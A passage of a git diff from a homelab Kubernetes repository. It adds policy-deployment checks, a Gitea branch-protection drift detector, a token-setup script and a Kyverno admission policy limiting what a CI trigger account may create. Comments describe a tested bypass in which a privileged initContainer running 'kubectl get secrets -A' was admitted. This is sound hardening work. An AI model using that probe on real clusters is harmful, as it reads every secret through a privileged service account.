if st.startswith("name:") and " name:" in line:
|
||||
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
|
||||
break
|
||||
|
||||
check(len(policies) >= 6,
|
||||
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
|
||||
f"too few means the scan broke, and every assertion below would be vacuous")
|
||||
|
||||
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
|
||||
|
||||
unapplied, wrongly_exempt = [], []
|
||||
for rel, name in sorted(policies.items()):
|
||||
# platform-config references these as ../platform/kyverno/...
|
||||
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
|
||||
if name in CI_ONLY:
|
||||
if referenced:
|
||||
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
|
||||
elif not referenced:
|
||||
unapplied.append(f"{name} ({rel})")
|
||||
|
||||
check(not unapplied,
|
||||
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
|
||||
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
|
||||
|
||||
check(not wrongly_exempt,
|
||||
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
|
||||
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
|
||||
|
||||
for name, reason in CI_ONLY.items():
|
||||
check(bool(reason.strip()),
|
||||
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
|
||||
f"list stops being reviewable")
|
||||
|
||||
check(CHECKS >= 4,
|
||||
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
|
||||
|
||||
if FAILURES:
|
||||
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
|
||||
file=sys.stderr)
|
||||
for f in FAILURES:
|
||||
print(f" - {f}", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
|
||||
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
|
||||
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
|
||||
f"not that they are correct — `kyverno test` is what proves correctness.")
|
||||
PY
|
||||
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
|
||||
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
||||
"runbooks", "clusters", "bootstrap", "catalog")
|
||||
|
||||
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
|
||||
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
|
||||
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
|
||||
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
|
||||
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
|
||||
# routes and make (8) demand the operator's dashboard link them.
|
||||
#
|
||||
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
|
||||
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
|
||||
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
|
||||
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
|
||||
# become a real delivery root.
|
||||
NON_SERVING_RECONCILED = ("conformance/incluster",)
|
||||
|
||||
|
||||
def tracked_yaml() -> list[Path]:
|
||||
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
||||
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
|
||||
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
||||
# a path of them would fail on a file that is correct.
|
||||
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
||||
def _reconciled_path(d):
|
||||
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
|
||||
|
||||
|
||||
unscanned = sorted({
|
||||
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
||||
for p, d in reconcilers
|
||||
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
|
||||
not in DELIVERY_ROOTS
|
||||
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
|
||||
and _reconciled_path(d) not in NON_SERVING_RECONCILED
|
||||
})
|
||||
|
||||
# The exemption's own guard: an exempted tree must actually serve nothing.
|
||||
exempt_serving = sorted({
|
||||
f"{p.relative_to(ROOT)} ({d.get('kind')})"
|
||||
for p, d in docs_all()
|
||||
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
|
||||
and (d.get("kind") == "HTTPRoute"
|
||||
or (d.get("kind") == "Service"
|
||||
and any("hostname" in str(k).lower()
|
||||
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
|
||||
})
|
||||
check(not exempt_serving,
|
||||
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
|
||||
f"gains a route would hide a service from this check entirely "
|
||||
f"{exempt_serving if exempt_serving else ''}")
|
||||
check(len(reconcilers) >= 10 and not unscanned,
|
||||
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
||||
f"reconciled tree this check does not read is a service it cannot require a link for "
|
||||
|
||||
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
|
||||
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
||||
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
||||
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
||||
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
|
||||
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
|
||||
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||
|
||||
## 3. Gaps to close (functional)
|
||||
|
||||
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
|
||||
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
|
||||
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
|
||||
entrypoint path and the Job pins that uid — see §4.)*
|
||||
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
||||
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
|
||||
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
|
||||
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
|
||||
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
|
||||
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
|
||||
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
|
||||
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
|
||||
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
|
||||
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
|
||||
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
|
||||
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
|
||||
install the entrypoint at that exact path) and provision that Secret (item 6).
|
||||
Original text: → Add an
|
||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
|
||||
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
|
||||
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
|
||||
still ships its red JUnit — that prints the artifact tree as a base64 tar between
|
||||
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
|
||||
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
|
||||
collection instead of decoding to plausible garbage; the five checks the collector owes are
|
||||
spelled out above that function. It lives in `run.sh` and not in the Job because admission
|
||||
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
|
||||
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
|
||||
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
|
||||
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
||||
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
||||
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
||||
@@ -104,6 +129,19 @@ stack):**
|
||||
|
||||
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
||||
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
||||
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
|
||||
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
|
||||
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
|
||||
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
|
||||
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
|
||||
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
|
||||
same. Both are now covered by
|
||||
`trigger-initcontainers-must-be-the-committed-clone-step` and
|
||||
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
|
||||
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
|
||||
field that can carry executable intent, and a `pattern` over an array only asserts *at least
|
||||
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
|
||||
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
|
||||
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
||||
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
||||
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
||||
|
||||
+32
-4
@@ -86,6 +86,32 @@ enabling enforcement and probing the push. `require-gate.sh` is the enforcement
|
||||
|
||||
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
|
||||
|
||||
### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
|
||||
|
||||
`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
|
||||
a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
|
||||
at least one runner is online. It is the only thing in this repository that can see Gitea's own
|
||||
database.
|
||||
|
||||
It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
|
||||
`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
|
||||
|
||||
Behaviour, proven by test rather than assumed:
|
||||
|
||||
| Situation | Exit | Effect |
|
||||
|---|---|---|
|
||||
| live matches the declaration | 0 | green |
|
||||
| any key drifted, or no runner online | 1 | **blocks the merge** |
|
||||
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
|
||||
|
||||
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
|
||||
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
|
||||
the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
|
||||
`gate.yml` so a future missing token blocks instead of skipping.
|
||||
|
||||
**Changing the declaration is how you change policy.** If the live state is what you now want,
|
||||
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
|
||||
|
||||
### Why these scripts exist at all, and what is still missing
|
||||
|
||||
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
|
||||
@@ -94,10 +120,12 @@ the root cause of the entire 2026-09-29 session: branch protection was off and t
|
||||
gone for a month while the log recorded both as working, and **no check existed that could
|
||||
have caught it.**
|
||||
|
||||
These scripts encode the desired state and can re-assert it, but they are not a detector. The
|
||||
durable fix is a conformance check that reads the live Gitea API and fails when it diverges
|
||||
from what is declared here — turning a class of silent, invisible failure into a loud one.
|
||||
**That check does not exist yet and is the highest-value remaining work in this directory.**
|
||||
These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
|
||||
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
|
||||
root cause of the 2026-09-29 session.
|
||||
|
||||
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
|
||||
detector detects nothing. That is the remaining step.
|
||||
|
||||
## Historical sequence (kept for context)
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
|
||||
"_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
|
||||
"branch": "main",
|
||||
"runners_online_min": 1,
|
||||
"protection": {
|
||||
"enable_push": false,
|
||||
"enable_push_whitelist": false,
|
||||
"enable_merge_whitelist": false,
|
||||
"enable_status_check": true,
|
||||
"status_check_contexts": [
|
||||
"gate / gate (pull_request)"
|
||||
],
|
||||
"required_approvals": 1,
|
||||
"enable_approvals_whitelist": false,
|
||||
"block_admin_merge_override": true,
|
||||
"block_on_rejected_reviews": true,
|
||||
"dismiss_stale_approvals": true
|
||||
}
|
||||
}
|
||||
Executable
+56
@@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env bash
|
||||
# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
|
||||
# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
|
||||
#
|
||||
# The token value is NEVER printed. It goes from the token API into the secrets API and
|
||||
# nowhere else -- not to stdout, not to a file, not into an agent transcript.
|
||||
#
|
||||
# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
|
||||
# runner list). Gitea token scopes are coarse; grant the least that works on your version and
|
||||
# confirm the check goes green rather than assuming the scope name.
|
||||
set -euo pipefail
|
||||
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
|
||||
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
|
||||
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
|
||||
SECRET=SETTINGS_API_TOKEN
|
||||
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
|
||||
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||
|
||||
echo "==> minting token '${NAME}' as ${U}"
|
||||
TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
|
||||
-d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
|
||||
"https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
|
||||
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
|
||||
echo "==> got a ${#TOKEN}-character token (value not shown)"
|
||||
|
||||
echo "==> storing it as repo Actions secret ${SECRET}"
|
||||
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
|
||||
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
|
||||
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
|
||||
unset TOKEN
|
||||
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
|
||||
echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
|
||||
rm -f /tmp/set-ci-token.out; exit 1
|
||||
fi
|
||||
rm -f /tmp/set-ci-token.out
|
||||
|
||||
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
|
||||
# reports success for a store that never happened -- which is exactly what it did.
|
||||
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
|
||||
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
|
||||
grep -q "$SECRET" <<<"$names" \
|
||||
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
|
||||
echo "==> stored and VERIFIED present: ${names}"
|
||||
|
||||
cat <<'NOTE'
|
||||
|
||||
Next:
|
||||
1. .gitea/workflows/gate.yml already passes this secret to the gate step.
|
||||
2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
|
||||
without the token, so a green run is the only proof the wiring works.
|
||||
3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
|
||||
instead of skipping. Do that only after you have seen it green, or you lock the repo.
|
||||
NOTE
|
||||
@@ -34,6 +34,14 @@ resources:
|
||||
# policies, the next import is blocked in the gap.
|
||||
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
|
||||
- ../platform/kyverno/admission/secret-provenance.yaml
|
||||
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
|
||||
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
|
||||
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
|
||||
# only ("kept as reference; THIS file is the buildable render root" in
|
||||
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
|
||||
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
|
||||
# leaving the conformance-trigger identity live with nothing bounding it.
|
||||
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
|
||||
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
|
||||
- cilium/l2-ip-pool.yaml
|
||||
- cilium/l2-announcement-policy.yaml
|
||||
|
||||
@@ -0,0 +1,377 @@
|
||||
# Serves: R-SEC-02 (CI holds no broad cluster access)
|
||||
#
|
||||
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
|
||||
#
|
||||
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
|
||||
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
|
||||
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
|
||||
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
|
||||
# privileged identity unless something constrains the SHAPE of what it may create.
|
||||
#
|
||||
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
|
||||
# committed conformance run and deny everything else. The operator chose this model
|
||||
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
|
||||
# GitOps-native alternative.
|
||||
#
|
||||
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
|
||||
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
|
||||
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
|
||||
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
|
||||
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
|
||||
#
|
||||
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
|
||||
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
|
||||
#
|
||||
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
|
||||
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
|
||||
# enforceable half: the image must live under the conformance repository path AND be
|
||||
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
|
||||
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
|
||||
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
|
||||
# PR, which is exactly where a change to the security boundary belongs.
|
||||
apiVersion: kyverno.io/v1
|
||||
kind: ClusterPolicy
|
||||
metadata:
|
||||
name: conformance-trigger-job-shape
|
||||
annotations:
|
||||
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
|
||||
policies.kyverno.io/category: Supply chain
|
||||
policies.kyverno.io/severity: critical
|
||||
homelab.keithjackson.dev/requirements: R-SEC-02
|
||||
homelab.keithjackson.dev/scope: admission-only
|
||||
spec:
|
||||
validationFailureAction: Enforce
|
||||
failurePolicy: Fail
|
||||
background: false
|
||||
rules:
|
||||
- name: trigger-may-create-only-the-committed-conformance-run
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger may create ONLY the committed conformance run: a single container,
|
||||
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
|
||||
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
|
||||
and only the `workspace` and `results` volumes. See
|
||||
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
|
||||
pattern:
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
serviceAccountName: conformance-runner
|
||||
=(hostNetwork): "false"
|
||||
=(hostPID): "false"
|
||||
=(hostIPC): "false"
|
||||
containers:
|
||||
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
|
||||
command:
|
||||
- "./run.sh"
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
=(privileged): "false"
|
||||
|
||||
- name: trigger-volumes-must-be-workspace-or-results
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
|
||||
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
|
||||
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
|
||||
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
|
||||
# asserts EVERY volume is one of the two allowed names.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.volumes"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ element.name }}"
|
||||
operator: AnyNotIn
|
||||
value: ["workspace", "results"]
|
||||
|
||||
- name: trigger-args-must-be-the-committed-flags
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
validate:
|
||||
message: >-
|
||||
conformance-trigger Job args may contain only the conformance run's own flags
|
||||
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
|
||||
Anything else — a shell, a path, a redirect — is denied.
|
||||
foreach:
|
||||
- list: "request.object.spec.template.spec.containers[0].args"
|
||||
deny:
|
||||
conditions:
|
||||
all:
|
||||
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||
operator: Equals
|
||||
value: false
|
||||
|
||||
# =========================================================================================
|
||||
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
||||
#
|
||||
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
||||
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
||||
# executing an arbitrary command, because Kubernetes places no `use` check on
|
||||
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
||||
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
||||
#
|
||||
# a Job with serviceAccountName conformance-runner and an initContainer
|
||||
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
||||
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
||||
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
||||
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
||||
# logic moved into the runner image at a fixed path
|
||||
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
||||
# rule pins `command` to that path with NO args. An admitted init container therefore
|
||||
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
||||
# itself validates against ^[0-9a-f]{40}$.
|
||||
#
|
||||
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
||||
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
||||
# init container — the same class of hole rule 2's comment describes for volumes.
|
||||
# =========================================================================================
|
||||
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
||||
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||
match:
|
||||
all:
|
||||
- resources:
|
||||
kinds:
|
||||
- Job
|
||||
namespaces:
|
||||
- conformance
|
||||
subjects:
